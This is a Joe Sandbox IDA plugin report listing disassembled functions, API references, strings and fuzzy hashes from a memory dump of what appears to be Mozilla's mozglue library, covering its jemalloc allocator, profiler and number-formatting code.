Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 364a68ad7792d335fdae24e2818bc9704d714a5b4eb44bd79789ce217e76ec25
Instruction ID: fcf7d2da83b91621df7f831611866f776a009c8b83a0516a2479a48f3dd55743
Opcode Fuzzy Hash: 364a68ad7792d335fdae24e2818bc9704d714a5b4eb44bd79789ce217e76ec25
Instruction Fuzzy Hash: E1326AB02083818FD724CF64C4906AFBBE6BFD9318F55881DE99987751DB30E94ACB52

Function 6C997E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

data, xrefs: 6C998280, 6C9983E1
(pre-xul), xrefs: 6C997E88
schema, xrefs: 6C9981E3, 6C998311
name, xrefs: 6C997ECF, 6C998335

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: 6572f3929ea073ac104ff04011f7ddd70ed89a0fa90bc38913d72bae2fc50da6
Instruction ID: 0096d35f1d6d22ef1c4ed2c2cd64896e77ab5ea3b4a8f3be6cbd99faca9c9ffa
Opcode Fuzzy Hash: 6572f3929ea073ac104ff04011f7ddd70ed89a0fa90bc38913d72bae2fc50da6
Instruction Fuzzy Hash: 20E170B2B043408BD710CF69C84065BF7E9BFA5318F158A2DE895E7790DB74ED098B92

Function 6C97D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D4F2
LeaveCriticalSection.KERNEL32(6C9DE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D50B

Part of subcall function 6C95CFE0: EnterCriticalSection.KERNEL32(6C9DE784), ref: 6C95CFF6
Part of subcall function 6C95CFE0: LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C95D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D52E
EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C97D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C97D6A6
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C97D712
LeaveCriticalSection.KERNEL32(6C9DE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C97D7EA

Strings

<jemalloc>, xrefs: 6C97D827
: (malloc) Error initializing arena, xrefs: 6C97D82C

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 41305b2513f79e492f4842422e9104eed8a1279c18f99809987cbaac6d8d1bc1
Instruction ID: 96a4a64752f230c60a89d5c8778f51b7235316e20478d82bbd114c534b5f7bec
Opcode Fuzzy Hash: 41305b2513f79e492f4842422e9104eed8a1279c18f99809987cbaac6d8d1bc1
Instruction Fuzzy Hash: C791E7B2A09B018FD764CF28C49032AB7F5FB89714F25892ED55AD7B80D730E840CBA1

Function 6C975E90 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2
memset.VCRUNTIME140(6C9B7765,000000E5,9DC09015), ref: 6C9761F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C977652

Strings

MOZ_CRASH(), xrefs: 6C977BA4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9772F8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C977BCD, 6C977C1F, 6C977C34, 6C9780FD
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C97730D
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9772E3

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2613674957-1127040744
Opcode ID: d8b9ac9602b90d6c3e0967a2fcabd005328b0689fa97e4d35edf1f6c90cb50d3
Instruction ID: 996fe5998ea9a9b1bee0d5018e925c198fdc4bebaa0f5af7f8f36df48f15f03a
Opcode Fuzzy Hash: d8b9ac9602b90d6c3e0967a2fcabd005328b0689fa97e4d35edf1f6c90cb50d3
Instruction Fuzzy Hash: 6533AB716067018FC329CF28C590715BBE2FF85328F29C6ADE9698B7A5D731E841CB61

Function 6C953480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C953492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C9534A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C9534EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C95350E
__Init_thread_footer.LIBCMT ref: 6C953522
__aulldiv.LIBCMT ref: 6C953552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C95357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C953592

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

Strings

kernel32.dll, xrefs: 6C9534EA
GetSystemTimePreciseAsFileTime, xrefs: 6C953508

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: b385b3109936ec8d300f9b69de9ce1e5e88c6ccf69e48cb1de9a109dd2ddc2e1
Instruction ID: 46b725374db4dc12397a2a0e70679316c52db21473d490fd20276b4f68640038
Opcode Fuzzy Hash: b385b3109936ec8d300f9b69de9ce1e5e88c6ccf69e48cb1de9a109dd2ddc2e1
Instruction Fuzzy Hash: 7731D371B0590A9BDF00DFB9C849AAE77B9FB86309F60441AF505B3A50DB30FA45CB60

Function 6C9B4EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C9B4EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B4F2E
moz_xmalloc.MOZGLUE ref: 6C9B4F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C9B4F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B52B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B52E6
Sleep.KERNEL32(00000010), ref: 6C9B5481
free.MOZGLUE(?), ref: 6C9B5498

Strings

(, xrefs: 6C9B5250

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 888efca545e98b68fbd3cfb3199a3da6d2c812220a00c7fb7fb60e897497c186
Instruction ID: e5d49cdbbb5d04a2e944e2b95479d29b7a345e8b047c2374482d56ad5b66e37a
Opcode Fuzzy Hash: 888efca545e98b68fbd3cfb3199a3da6d2c812220a00c7fb7fb60e897497c186
Instruction Fuzzy Hash: 09F1B171A18F408FC716CF39C85162BB7F9AFE6284F158B2EF846A7651DB31D4428B81

Function 6C967810 Relevance: 15.4, APIs: 12, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE744), ref: 6C967885
LeaveCriticalSection.KERNEL32(6C9DE744), ref: 6C9678A5
EnterCriticalSection.KERNEL32(6C9DE784), ref: 6C9678AD
LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C9678CD
EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C9678D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C9678E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C96795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C9679BB
LeaveCriticalSection.KERNEL32(?), ref: 6C967BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C967C82
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C967CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C967DAF

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID:
API String ID: 759993129-0
Opcode ID: 3cd571f76ea9f0da3a756c70637abea9dd2daa8b7411d8d659cfe678d2372082
Instruction ID: ecca295668190f666a14f864ffc2310ca795c118f821cf80c2765144a7e92b00
Opcode Fuzzy Hash: 3cd571f76ea9f0da3a756c70637abea9dd2daa8b7411d8d659cfe678d2372082
Instruction Fuzzy Hash: 8B027371A0561A8FEB54CF19C984799B7B5FF48318F2582AAD809A7B41D734FE90CF80

Function 6C9B5FF0 Relevance: 15.1, APIs: 10, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C9B6009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C9B6024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(6C95EE51,?), ref: 6C9B6046
OutputDebugStringA.KERNEL32(?,6C95EE51,?), ref: 6C9B6061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9B6069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9B6073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9B6082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C9D148E), ref: 6C9B6091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,6C95EE51,00000000,?), ref: 6C9B60BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9B60C4

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID:
API String ID: 3835517998-0
Opcode ID: 28e3ea173a4d4d0d8c97aa53ece90f2cb2f6a204ee213efe2298255cc15a9daa
Instruction ID: e83a61adb8faa0f129dc917e8056994ea339a756d63e53bc2920b569d8aa904c
Opcode Fuzzy Hash: 28e3ea173a4d4d0d8c97aa53ece90f2cb2f6a204ee213efe2298255cc15a9daa
Instruction Fuzzy Hash: 7A21B771A002089FDF106F29DC49A9E7BB8FF45614F108428E85AA7240CB74F599CFE2

Function 6C9B7030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C9B7046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C9B7060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9B707E

Part of subcall function 6C9681B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C9681DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9B7096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9B709C
LocalFree.KERNEL32(?), ref: 6C9B70AA

Strings

### ERROR: %s: %s, xrefs: 6C9B7087
(null), xrefs: 6C9B706A, 6C9B7083

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: bc37eefb503f36eb5ac3b1af3d349ee9becb18cc083f63732e519f171ed399f2
Instruction ID: 8bbf44654074e7dbf7dcf084a49bffa414ed7ad72ff5fc0ecc293ef824396237
Opcode Fuzzy Hash: bc37eefb503f36eb5ac3b1af3d349ee9becb18cc083f63732e519f171ed399f2
Instruction Fuzzy Hash: 7801F9B1A00104AFDB006BA4DC4ADAF7BBCEF49215F110425FA05B3241D631B958CBE1

Function 6C979E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C979EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C979F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C979F34
LeaveCriticalSection.KERNEL32(?), ref: 6C97A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C97A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C97A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C97A8B1, 6C97A8D4, 6C97A8EF

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 1992fc8db9c5d6bf549d8cc6b3e2b9ff6c3d94844719abb33f8d05ff3a2fe5ce
Instruction ID: 94957523199309d73732ad4787889eb1afbbd32ec043a61a8dfd12eef386b337
Opcode Fuzzy Hash: 1992fc8db9c5d6bf549d8cc6b3e2b9ff6c3d94844719abb33f8d05ff3a2fe5ce
Instruction Fuzzy Hash: 9A728C72A067118FD324CF28C540615FBE1BF89728F2AC7ADE8699B791D735E841CB90

Function 6C9A2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C9A2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C9A2C61

Part of subcall function 6C954DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C954E5A
Part of subcall function 6C954DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C954E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C9A2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9A2E2D

Part of subcall function 6C9681B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C9681DE

Strings

(root), xrefs: 6C9A354F
ProfileBuffer parse error: %s, xrefs: 6C9A2E3B
expected a Time entry, xrefs: 6C9A2E36

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 2f4b00d47ced11161a18464576b0ae59356582a8569cb3b7f40a88233b8a2bc7
Instruction ID: 6db71ce32189a19d9db23119b6662487bea5f08fc53debd3939cd01c56360cc6
Opcode Fuzzy Hash: 2f4b00d47ced11161a18464576b0ae59356582a8569cb3b7f40a88233b8a2bc7
Instruction Fuzzy Hash: 9791DE70608B408FC724CF69C48469EF7F5AF99358F10491DE99A9BB91DB30D94ACB42

Function 6C97C0E0 Relevance: 11.2, APIs: 4, Strings: 2, Instructions: 728COMMON

Download Yara Rule

Strings

MOZ_CRASH(), xrefs: 6C97D4BB
0123456789abcdef, xrefs: 6C97C317

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID: 0123456789abcdef$MOZ_CRASH()
API String ID: 0-3968268099
Opcode ID: 9b54baf7104e09fcedbde55b30d1de880278b3df3c413a136cec9a5c0a028c50
Instruction ID: 7fa5edbcc070eb5be9ebbf6d174c7c1676320848f468cb43dc99319330264d18
Opcode Fuzzy Hash: 9b54baf7104e09fcedbde55b30d1de880278b3df3c413a136cec9a5c0a028c50
Instruction Fuzzy Hash: 9E52D03160A741CFD724CF18C4947AAB7E6FB8A318F24891DE8D687B81D735E845CB62

Function 6C9B9E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C9B9F3D
__aulldiv.LIBCMT ref: 6C9B9F77
__aullrem.LIBCMT ref: 6C9B9F8C
__aulldiv.LIBCMT ref: 6C9BA023

Strings

NaN, xrefs: 6C9B9EAB
-Infinity, xrefs: 6C9B9E60, 6C9B9E7B

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: b76de871a730613dcf8da029d4a421aae82e720044d5568e99e8c0efda96215f
Instruction ID: 69e0b2d3aed9ab1d57e28fa6ced42487e1b947cf972753edc10017776aeefe6a
Opcode Fuzzy Hash: b76de871a730613dcf8da029d4a421aae82e720044d5568e99e8c0efda96215f
Instruction Fuzzy Hash: 05C1C031E00319ABDB14CFA8C8807AFB7B6EBA5314F544529D405BBB80DB71ED49CB91

Function 6C95D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

8, xrefs: 6C95DC08
9, xrefs: 6C95DE7F
-, xrefs: 6C95D7DD
@, xrefs: 6C95DAF6
1, xrefs: 6C95DBDD
, xrefs: 6C95DA88
0, xrefs: 6C95D852
0, xrefs: 6C95DC7F

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: dc56e59d77088863452360d2aed5888cc7e59c776b7ea825caba42aeb66923ff
Instruction ID: 6a1b592dd77ba60c11ff780af698c891675854449e9cc88d832b678b1b5d30ef
Opcode Fuzzy Hash: dc56e59d77088863452360d2aed5888cc7e59c776b7ea825caba42aeb66923ff
Instruction Fuzzy Hash: 5D62DE7260D3458FD701CF18C29076ABBF6AF86318F984A4DE4D44BB95C335D9A6CB82

Function 6C969F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

1, xrefs: 6C96A824
9, xrefs: 6C96A5D6
0, xrefs: 6C96A100
' , xrefs: 6C96A3D8
@, xrefs: 6C96A625
0, xrefs: 6C96AB22

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: f12e48f6671b2ba386f0267aa31f476d870583a1c6c4107e6d66c32b96159d37
Instruction ID: 285342c432369980256c34f893e47099f05ee16847ac6515a861495d325d71b3
Opcode Fuzzy Hash: f12e48f6671b2ba386f0267aa31f476d870583a1c6c4107e6d66c32b96159d37
Instruction Fuzzy Hash: 6182CF319093318BF710CF1BC49026EB7E6EB85758F65892AE8D547ED0DB35E885CB82

Function 6C95BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C95C1CB
